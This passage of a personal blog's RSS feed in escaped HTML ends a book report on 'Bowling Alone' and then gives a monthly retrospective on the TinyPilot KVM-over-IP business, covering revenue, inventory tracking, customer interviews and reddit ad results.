&lt;li>Individuals tend to maintain the same level of trust as they age, but younger generations start at a lower baseline level of trust and drive trends down.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="urban-sprawl">Urban sprawl&lt;/h3>
&lt;ul>
&lt;li>Sprawl diminishes civic engagement, as commuting soaks up non-work time and separates people from their communities.&lt;/li>
&lt;/ul>
&lt;h3 id="tv">TV&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>TV is likely a significant factor in America&amp;rsquo;s reduced civic engagement.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>TV is the fastest-growing consumer product in the US.&lt;/p>
&lt;ul>
&lt;li>It went from 1% penetration to 75% of American households in just seven years.
&lt;ul>
&lt;li>Telephones took 67 years.&lt;/li>
&lt;li>Cars took 52 years.&lt;/li>
&lt;li>Radio took 14 years.&lt;/li>
&lt;li>Internet was ~15 years.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Newspaper readership declined as TV viewership increased.&lt;/p>
&lt;ul>
&lt;li>Initially, people thought that newspaper readers were switching to TV news, but it turns out most TV news watchers also read the newspaper. TV news is generally a supplement to newspapers, not a replacement.&lt;/li>
&lt;li>Declines in newspaper readership are mostly due to generational succession. People within the same age cohort continue reading the newspaper at the same rate, but the next generation reads substantially less.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Soaking up leisure time&lt;/p>
&lt;ul>
&lt;li>Between 1965 and 1995, Americans gained an average of six extra hours per week of leisure time. Over the same time, the average time watching TV swelled to six hours per week, suggesting that TV absorbed almost all of the gains in leisure time.&lt;/li>
&lt;li>Americans spend 3-4x as much time watching TV as they do talking to their spouse and 6-7x as much as they spend participating in community activities.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Anti-social behavior&lt;/p>
&lt;ul>
&lt;li>In surveys, the amount of TV that people watch is strongly correlated with many antisocial behaviors.
&lt;ul>
&lt;li>Heavy TV watchers are more likely to experience road rage, less likely to attend club meetings, less likely to attend church, less likely to stay in touch with friends.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="http://sk.sagepub.com/reference/childmedia/n325.xml">Notel, Unitel, and Multitel&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Researchers observed one Canadian town that had no TV reception or cable access until 1970. As soon as they got TV, their civic participation dropped.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="suicide-rates">Suicide rates&lt;/h3>
&lt;ul>
&lt;li>In 1950, suicide was least common among younger people and most common among older people.&lt;/li>
&lt;li>Between 1950 and 1990, suicide rates for all age groups converged to a rough average across all ages.&lt;/li>
&lt;/ul>
&lt;h3 id="social-capital-index">&lt;a href="https://www.oecd.org/innovation/research/1825848.pdf">Social capital index&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>Putnam created a &amp;ldquo;social capital index&amp;rdquo; that aggregates various measures of civic engagement into a single score.&lt;/li>
&lt;li>Putnam&amp;rsquo;s index correlates closely with many measures of a healthy society.
&lt;ul>
&lt;li>Unexpected bit of trivia: South Dakota scores well on almost all of these metrics.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>












 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 645px">



 &lt;a href="https://mtlynch.io/book-reports/bowling-alone/murder-rate.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 645px, 98vw"
 srcset='https://mtlynch.io/book-reports/bowling-alone/murder-rate_hu_b8c33dadf2d6163.png 300w, https://mtlynch.io/book-reports/bowling-alone/murder-rate_hu_b090ed72139f0597.png 600w, https://mtlynch.io/book-reports/bowling-alone/murder-rate.png 643w'
 src="https://mtlynch.io/book-reports/bowling-alone/murder-rate.png" alt="Scatter chart showing negative correlation between murder rate and social capital" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 657px">



 &lt;a href="https://mtlynch.io/book-reports/bowling-alone/equality.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 657px, 98vw"
 srcset='https://mtlynch.io/book-reports/bowling-alone/equality_hu_6018b62d7e5a40d8.png 300w, https://mtlynch.io/book-reports/bowling-alone/equality_hu_f6584cfcf0d1fbe1.png 600w, https://mtlynch.io/book-reports/bowling-alone/equality.png 655w'
 src="https://mtlynch.io/book-reports/bowling-alone/equality.png" alt="Scatter chart showing positive correlation between tolerance for gender and racial equality and social capital" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 659px">



 &lt;a href="https://mtlynch.io/book-reports/bowling-alone/public-health.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 659px, 98vw"
 srcset='https://mtlynch.io/book-reports/bowling-alone/public-health_hu_8b799eb7fc052139.png 300w, https://mtlynch.io/book-reports/bowling-alone/public-health_hu_a5c47d019f0fc2da.png 600w, https://mtlynch.io/book-reports/bowling-alone/public-health.png 657w'
 src="https://mtlynch.io/book-reports/bowling-alone/public-health.png" alt="Scatter chart showing positive correlation between public health outcomes and social capital" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 663px">



 &lt;a href="https://mtlynch.io/book-reports/bowling-alone/child-welfare.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 663px, 98vw"
 srcset='https://mtlynch.io/book-reports/bowling-alone/child-welfare_hu_1267cbb11ba1cc9e.png 300w, https://mtlynch.io/book-reports/bowling-alone/child-welfare_hu_8d887874b6fff586.png 600w, https://mtlynch.io/book-reports/bowling-alone/child-welfare.png 661w'
 src="https://mtlynch.io/book-reports/bowling-alone/child-welfare.png" alt="Scatter chart showing positive correlation between child welfare and social capital" loading="lazy"/>
 &lt;/a>



&lt;/div>

&lt;/p></content:encoded></item><item><title>TinyPilot: Month 4</title><link>https://mtlynch.io/retrospectives/2020/11/</link><pubDate>Tue, 03 Nov 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/11/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot hit $10k in revenue. That&amp;rsquo;s a record high for me and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#how-i-made-and-spent-money">exceeds my total revenue for all of 2019&lt;/a>.&lt;/li>
&lt;li>I interviewed several IT consultants and business owners about what TinyPilot features would be useful to them.&lt;/li>
&lt;li>I tested several new marketing channels and realized I&amp;rsquo;m failing to measure results accurately.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot hit $10k in revenue. That&amp;rsquo;s a record high for me and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#how-i-made-and-spent-money">exceeds my total revenue for all of 2019&lt;/a>.&lt;/li>
&lt;li>I interviewed several IT consultants and business owners about what TinyPilot features would be useful to them.&lt;/li>
&lt;li>I tested several new marketing channels and realized I&amp;rsquo;m failing to measure results accurately.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="sell-60-tinypilot-kits-and-power-connectors">Sell 60 TinyPilot kits and power connectors&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 47 kits and 35 connectors (82 total)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>I beat my target by 33%, so I&amp;rsquo;m happy with the results here. I think this is mostly due to &lt;a href="#what-a-difference-a-well-stocked-inventory-makes">staying ahead on inventory&lt;/a>.&lt;/p>
&lt;h3 id="test-three-new-marketing-channels">Test three new marketing channels&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Shared TinyPilot on reddit, blogs, a podcast, and a newsletter&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I explored several new channels to attract users to TinyPilot, but I did a &lt;a href="https://mtlynch.io/retrospectives/2020/11/#tracking-acquisition">poor job of measuring their effectiveness&lt;/a>. I can see which channels attracted new website visitors, but I have no numbers showing which of them led to purchases.&lt;/p>
&lt;h3 id="interview-seven-it-professionals-about-whether-theyd-use-tinypilot-in-their-work">Interview seven IT professionals about whether they&amp;rsquo;d use TinyPilot in their work&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Had four phone/video calls and several more email exchanges&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>I didn&amp;rsquo;t arrange as many interviews as I had hoped, but I think I got enough information to return my focus to development for the next few weeks.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>October 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,741&lt;/td>
 &lt;td>2,604&lt;/td>
 &lt;td>&lt;font color="green">+863 (+50%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>7,057&lt;/td>
 &lt;td>8,780&lt;/td>
 &lt;td>&lt;font color="green">+1,723 (+24%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$3,636.03&lt;/td>
 &lt;td>$10,176.23*&lt;/td>
 &lt;td>&lt;font color="green">+$6,540.20 (+180%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$187.40&lt;/td>
 &lt;td>$90.00&lt;/td>
 &lt;td>&lt;font color="red">-$97.40 (-52%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3,817.99&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$10,263.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$6,445.63 (+169%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 * Excludes revenue from shipping fees and taxes, because those are just pass-through costs.
&lt;/div>

&lt;p>TinyPilot had a great month across basically all metrics. I&amp;rsquo;m glad to see visits to the site grow organically and sales continue to increase.&lt;/p>
&lt;p>It&amp;rsquo;s hard to calculate profits precisely because my costs fluctuate as I find new suppliers and make different bulk-rate deals. I&amp;rsquo;d estimate that my profits were around $4k.&lt;/p>
&lt;p>Notably, my costs for the power connector boards dropped substantially. The first batch cost &lt;a href="https://mtlynch.io/retrospectives/2020/10/#costs">$33/unit&lt;/a> for just the circuit boards. The second run cost only $12/unit, including the cost of the 3D printed cases.&lt;/p>
&lt;h2 id="what-a-difference-a-well-stocked-inventory-makes">What a difference a well-stocked inventory makes&lt;/h2>
&lt;p>This is TinyPilot&amp;rsquo;s highest revenue month ever, beating July, when TinyPilot &lt;a href="https://news.ycombinator.com/item?id=23927380">hit #1 on Hacker News&lt;/a>. Uncoincidentally, October was the only month where I didn&amp;rsquo;t have to list products as backordered because I ran out of inventory.&lt;/p>
&lt;p>The two main changes that allowed me to stay ahead of inventory were:&lt;/p>
&lt;ol>
&lt;li>I delegated inventory management to my assistant and empowered her to purchase new supplies whenever necessary.&lt;/li>
&lt;li>We reorganized our inventory spreadsheet to give us better insight into our inventory.&lt;/li>
&lt;/ol>
&lt;p>When I first started, I made an ugly spreadsheet that looked like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 2106px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/inventory-old.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 2106px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/inventory-old_hu_ba6724e7a13faa49.png 300w, https://mtlynch.io/retrospectives/2020/11/inventory-old_hu_2859c924c6b342b.png 600w, https://mtlynch.io/retrospectives/2020/11/inventory-old_hu_8ee72cf63fc03a6f.png 800w, https://mtlynch.io/retrospectives/2020/11/inventory-old_hu_af21a2baa5115da9.png 1200w, https://mtlynch.io/retrospectives/2020/11/inventory-old.png 2104w'
 src="https://mtlynch.io/retrospectives/2020/11/inventory-old.png" alt="Screenshot of old, cluttered inventory spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The new spreadsheet looks like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1083px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/inventory-overview.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1083px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/inventory-overview_hu_8d1dd26258ef6974.png 300w, https://mtlynch.io/retrospectives/2020/11/inventory-overview_hu_fcd9cb7a9aa92c0f.png 600w, https://mtlynch.io/retrospectives/2020/11/inventory-overview_hu_8fbdaf80799768f6.png 800w, https://mtlynch.io/retrospectives/2020/11/inventory-overview.png 1081w'
 src="https://mtlynch.io/retrospectives/2020/11/inventory-overview.png" alt="New spreadsheet shows totals of what&amp;#39;s in stock and when to reorder" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The key difference is that it quickly answers questions like, &amp;ldquo;How many of this part do we have?&amp;rdquo; and &amp;ldquo;What parts are due for a reorder?&amp;rdquo;&lt;/p>
&lt;p>To do this, I had to decide the minimum and maximum of items to keep in stock. These values are a function of:&lt;/p>
&lt;ol>
&lt;li>How expensive is this part?&lt;/li>
&lt;li>How long does it take for this part to arrive?&lt;/li>
&lt;li>How many of our products use this part?&lt;/li>
&lt;li>What discounts are available for bulk orders?&lt;/li>
&lt;/ol>
&lt;p>For example, the HDMI dongle checks all the boxes for &amp;ldquo;keep lots of these in stock.&amp;rdquo; Both TinyPilot kits use it, it takes several weeks to ship from China, and it&amp;rsquo;s relatively cheap at ~$9/unit.&lt;/p>
&lt;p>At the other end of the spectrum, the $55/unit 4 GB Raspberry Pi is TinyPilot&amp;rsquo;s most expensive part. It&amp;rsquo;s available from several sellers with a turnaround of only a few days. Merchants don&amp;rsquo;t offer bulk discounts on Raspberry Pis until you get into the hundreds of units. These factors mean we can keep a relatively small supply on hand and reorder on-demand.&lt;/p>
&lt;p>When we place orders for new inventory or fulfill customer orders, we update two child spreadsheets that automatically update the counts in the main inventory overview:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 733px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/inventory-orders.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 733px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/inventory-orders_hu_6e35f4cd2a3c010b.png 300w, https://mtlynch.io/retrospectives/2020/11/inventory-orders_hu_6bef0c00250fd2c2.png 600w, https://mtlynch.io/retrospectives/2020/11/inventory-orders.png 731w'
 src="https://mtlynch.io/retrospectives/2020/11/inventory-orders.png" alt="Google Sheet screenshot of order count by day." loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 







&lt;div class="img" style="max-width: 441px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/inventory-incoming.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 441px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/inventory-incoming_hu_6a850fc9a3419e44.png 300w, https://mtlynch.io/retrospectives/2020/11/inventory-incoming.png 439w'
 src="https://mtlynch.io/retrospectives/2020/11/inventory-incoming.png" alt="Google Sheet screenshot of incoming inventory orders." loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Outgoing customer orders (left) and incoming inventory shipments (right) automatically update the counts in our inventory overview spreadsheet.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="customer-research">Customer research&lt;/h2>
&lt;p>I spent most of October researching potential TinyPilot customers and cold emailing them to ask for interviews. This is one of my least favorite parts of running a business. It requires a lot of research and dead ends, so it can get boring and demotivating.&lt;/p>
&lt;p>I tend to overinvest in research because I go down the rabbit hole when researching companies and forget to stop when I have enough background to reach out. Research also frequently leads me to places like reddit, Facebook, and LinkedIn, which &lt;a href="https://mtlynch.io/eliminate-distractions/">create their own distractions&lt;/a>.&lt;/p>
&lt;h3 id="my-interview-strategy">My interview strategy&lt;/h3>
&lt;p>One of the lessons I took to heart after reading &lt;a href="https://mtlynch.io/book-reports/the-mom-test/">&lt;em>The Mom Test&lt;/em>&lt;/a> was that people have a bias to tell you they like your idea. For that reason, I never mentioned TinyPilot until the end of the interview. I set up the interviews from my @mtlynch.io email address and told interviewees that I was interested in remote access in scenarios where tools like SSH and Remote Desktop don&amp;rsquo;t work.&lt;/p>
&lt;h3 id="what-are-peoples-remote-access-pain-points">What are people&amp;rsquo;s remote access pain points?&lt;/h3>
&lt;p>I expected IT consultants to be a good match for TinyPilot, but most of the ones I interviewed said they didn&amp;rsquo;t have problems with remote access. Mid-sized companies tend to have modern HP or Dell servers, and those have built-in console-level remote access. For workstations, they run Windows, and they can deploy new OS versions with Microsoft&amp;rsquo;s regular IT administration tools.&lt;/p>
&lt;p>The most common pain points people mentioned were for dealing with exceptions. For example, a company might have a main office with 100 people and standardized IT infrastructure, but they have one overseas office with three people and totally different equipment. In those cases, they&amp;rsquo;d like a few KVMs on hand to ship over and manage remotely.&lt;/p>
&lt;p>Another exception scenario people mentioned was where a company has a fleet of modern Dell servers, but they have one 15-year-old IBM mainframe that they can&amp;rsquo;t decommission because it runs some business-critical FORTRAN application. Old servers obviously don&amp;rsquo;t have tools like iDRAC or iLO, so they&amp;rsquo;d want a KVM to manage that legacy server remotely.&lt;/p>
&lt;h3 id="what-features-should-i-prioritize-in-tinypilot">What features should I prioritize in TinyPilot?&lt;/h3>
&lt;p>The most common feature people talked about was a &lt;strong>remote management portal&lt;/strong>. Many customers said they wanted some portal they could either self-host or access in the cloud that would allow them to connect to any of their TinyPilot devices in the field.&lt;/p>
&lt;p>Next was &lt;strong>power management&lt;/strong>. People wanted a way to power a machine on and off if it got stuck. Projects similar to TinyPilot have solved this by wiring a relay directly to the motherboard, but people I spoke to didn&amp;rsquo;t seem too excited about that route.&lt;/p>
&lt;p>The last feature that people asked for was &lt;strong>drive mounting&lt;/strong>. Some KVMs allow you to upload a disk image, and then the KVM makes that disk appear as a removable drive on the target computer. Only a couple of interviewees mentioned this, but it&amp;rsquo;s also a common request among my existing users.&lt;/p>
&lt;p>The good news is that my intuitions were correct. These were all features I teased a few months ago when advertising a possible paid version of TinyPilot&amp;rsquo;s software called &lt;a href="https://tinypilotkvm.com/product/tinypilot-pro">TinyPilot Pro&lt;/a>. Without my prompting, these interviewees often brought up these same features independently.&lt;/p>
&lt;h2 id="experimenting-with-paid-reddit-ads">Experimenting with paid reddit ads&lt;/h2>
&lt;p>I&amp;rsquo;d never tried reddit ads before, but I have to say that the experience was disappointing. I got decent engagement, but the platform itself is unintuitive and a pain to use. As far as I can tell, you can&amp;rsquo;t edit an ad after you create it, even if it hasn&amp;rsquo;t run yet. You can only duplicate it and then make changes to the copy. The copy, of course, becomes immutable the moment you hit save.&lt;/p>
&lt;p>Ads can&amp;rsquo;t run until they receive manual approval, which is fine and expected. But seemingly irrelevant changes to the ad put it back into an unapproved state. Like I changed which subreddits I wanted the ad to display in, and that froze my ads for several hours until they could be re-approved.&lt;/p>
&lt;h3 id="micro-targeting-rhomelab">Micro-targeting /r/homelab&lt;/h3>
&lt;p>I started with ads that ran exclusively in the &lt;a href="https://www.reddit.com/r/homelab/">/r/homelab subreddit&lt;/a>. Here were my top-performing ads:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Ad Copy&lt;/th>
 &lt;th>Impressions&lt;/th>
 &lt;th>Clicks&lt;/th>
 &lt;th>CPC&lt;/th>
 &lt;th>CTR&lt;/th>
 &lt;th>Conversions&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="tired-of-swapping.png">Tired of swapping your monitor cables?&lt;/a>&lt;/td>
 &lt;td>2,929&lt;/td>
 &lt;td>67&lt;/td>
 &lt;td>$1.53&lt;/td>
 &lt;td>2.287%&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="hey-stop-paying.png">Stop paying $600 for KVM over IP devices&lt;/a>&lt;/td>
 &lt;td>836&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>$1.91&lt;/td>
 &lt;td>1.675%&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="i-got-tired.png">I got tired of bloat-laden enterprise KVMs&lt;/a>&lt;/td>
 &lt;td>2,498&lt;/td>
 &lt;td>41&lt;/td>
 &lt;td>$1.69&lt;/td>
 &lt;td>1.641%&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The click-through-rate is pretty good, but nobody purchased anything through those ads. I even added an event for &amp;ldquo;Add item to cart,&amp;rdquo; and nobody even got that far.&lt;/p>
&lt;h3 id="hey---not-just-for-horses">Hey - not just for horses&lt;/h3>
&lt;p>It seems like mentioning the subreddit by name makes a difference. I ran ads that were identical except that one started with &amp;ldquo;Hey /r/homelab,&amp;rdquo; and its click-through-rate was 3x higher than the one that skipped the salutation:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 744px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/hey-stop-paying.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 744px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/hey-stop-paying_hu_52d20bee816b9fbc.png 300w, https://mtlynch.io/retrospectives/2020/11/hey-stop-paying_hu_443f0ac58a605141.png 600w, https://mtlynch.io/retrospectives/2020/11/hey-stop-paying.png 742w'
 src="https://mtlynch.io/retrospectives/2020/11/hey-stop-paying.png" alt="Hey /r/homelab, stop paying $600&amp;#43; for KVM over IP devices. TinyPilot is an open source KVM over IP starting at just $169.99." loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 744px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/stop-paying.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 744px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/stop-paying_hu_27d1587339d649d2.png 300w, https://mtlynch.io/retrospectives/2020/11/stop-paying_hu_73719dc2422cb13a.png 600w, https://mtlynch.io/retrospectives/2020/11/stop-paying.png 742w'
 src="https://mtlynch.io/retrospectives/2020/11/stop-paying.png" alt="Stop paying $600&amp;#43; for KVM over IP devices. TinyPilot is an open source KVM over IP starting at just $169.99." loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Two ads that I posted to reddit, identical except for the opening salutation. The version that begins with &amp;lsquo;Hey /r/homelab&amp;rsquo; had a click-through-rate of 1.675%, while the version without had a click-through rate of 0.479%.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="going-broader">Going broader&lt;/h3>
&lt;p>After testing the waters with /r/homelab, I tried a broader campaign that displayed the ad in more subreddits. The results were much worse. My overall click-through-rate was 0.435%, with a cost-per-click of $2.21. The /r/homelab and /r/homelabsales subreddits continued to perform far better than any others.&lt;/p>
&lt;p>It&amp;rsquo;s worth noting that I dropped the &amp;ldquo;Hey [subreddit]&amp;rdquo; on these ads, so maybe they would have performed better had I customized each ad on a per-subreddit basis.&lt;/p>
&lt;h3 id="are-these-numbers-right">Are these numbers right?&lt;/h3>
&lt;p>As I look back on these numbers, I&amp;rsquo;m questioning their accuracy. I paid $360 for 208 clicks from reddit, and none of those visitors even clicked &amp;ldquo;Add to Cart.&amp;rdquo;&lt;/p>
&lt;p>Looking at Google Analytics, that seems questionable:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1369px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/reddit-ga.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1369px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/reddit-ga_hu_de9f710c785631b5.png 300w, https://mtlynch.io/retrospectives/2020/11/reddit-ga_hu_bebbb9d9e9647885.png 600w, https://mtlynch.io/retrospectives/2020/11/reddit-ga_hu_4aa7ecd60eaa7ef.png 800w, https://mtlynch.io/retrospectives/2020/11/reddit-ga_hu_65d7ef4c0d87d5c3.png 1200w, https://mtlynch.io/retrospectives/2020/11/reddit-ga.png 1367w'
 src="https://mtlynch.io/retrospectives/2020/11/reddit-ga.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Paid reddit visitors perform worse on most metrics than my typical user, but not &lt;em>that&lt;/em> much worse.&lt;/p>
&lt;p>There were four orders during the three days I ran my first campaign, which means that overall my conversion rate was 1.429%. If I trust these numbers, my conversion rate from reddit was 0%, and from other sources, it was 1.786%. The numbers aren&amp;rsquo;t significant enough to say for sure, so it&amp;rsquo;s plausible the conversion counts are accurate. Still, I&amp;rsquo;m a bit skeptical that zero reddit visitors ever added an item to their cart.&lt;/p>
&lt;p>What I should have done (and what I&amp;rsquo;ll do in the coming weeks) is click the ads and go through a checkout flow to verify whether reddit&amp;rsquo;s analytics properly track these events.&lt;/p>
&lt;h2 id="other-marketing-channels">Other marketing channels&lt;/h2>
&lt;h3 id="organic-search">Organic search&lt;/h3>
&lt;p>Organic search is TinyPilot&amp;rsquo;s largest source of customers. When I started the business, I was hoping to reach the first page of Google results for searches like &amp;ldquo;raspberry pi kvm over ip.&amp;rdquo; &lt;a href="https://mtlynch.io/tinypilot/">My TinyPilot blog post&lt;/a> performed better than I expected, so TinyPilot is now on the front page for broader terms like &amp;ldquo;kvm over ip.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/tinypilot-google.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/tinypilot-google_hu_b7e59f7190862636.png 300w, https://mtlynch.io/retrospectives/2020/11/tinypilot-google_hu_f684be9afc89d67d.png 600w, https://mtlynch.io/retrospectives/2020/11/tinypilot-google_hu_819288515702f659.png 800w, https://mtlynch.io/retrospectives/2020/11/tinypilot-google.png 967w'
 src="https://mtlynch.io/retrospectives/2020/11/tinypilot-google.png" alt="Screenshot of Google search results showing TinyPilot at the bottom of the first page of results" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot appears on the front page of Google search result for the query &lt;code>kvm over ip&lt;/code>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="writing-more-blog-posts">Writing more blog posts&lt;/h3>
&lt;p>This month, I published a new post about building my &lt;a href="https://mtlynch.io/building-a-vm-homelab/">homelab VM server&lt;/a> and explained how TinyPilot made the process easier. &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/">My original article&lt;/a> was #1 for a few popular Google queries, such as &amp;ldquo;homelab vm&amp;rdquo; and &amp;ldquo;vm server&amp;rdquo; so I expect that the update will help me keep my position there.&lt;/p>
&lt;p>I submitted the new post to several subreddits, including one I wasn&amp;rsquo;t aware of before, &lt;a href="https://www.reddit.com/r/HomeServer/">/r/HomeServer&lt;/a>. When my VM server post &lt;a href="https://www.reddit.com/r/HomeServer/comments/j7eiuo/my_home_vm_server_for_software_development/">did well&lt;/a>, I also submitted my original TinyPilot article, which &lt;a href="https://www.reddit.com/r/HomeServer/comments/jeoc74/tinypilot_build_a_kvm_over_ip_for_under_100/">got a positive reception as well&lt;/a>.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 619px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/11/homeserver.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 619px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/11/homeserver_hu_d18045cc45934fba.png 300w, https://mtlynch.io/retrospectives/2020/11/homeserver_hu_1dcaefa7f9927d17.png 600w, https://mtlynch.io/retrospectives/2020/11/homeserver.png 617w'
 src="https://mtlynch.io/retrospectives/2020/11/homeserver.png" alt="96 upvotes for VM server post, 119 for TinyPilot post" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="the-tinypilot-mailing-list">The TinyPilot mailing list&lt;/h3>
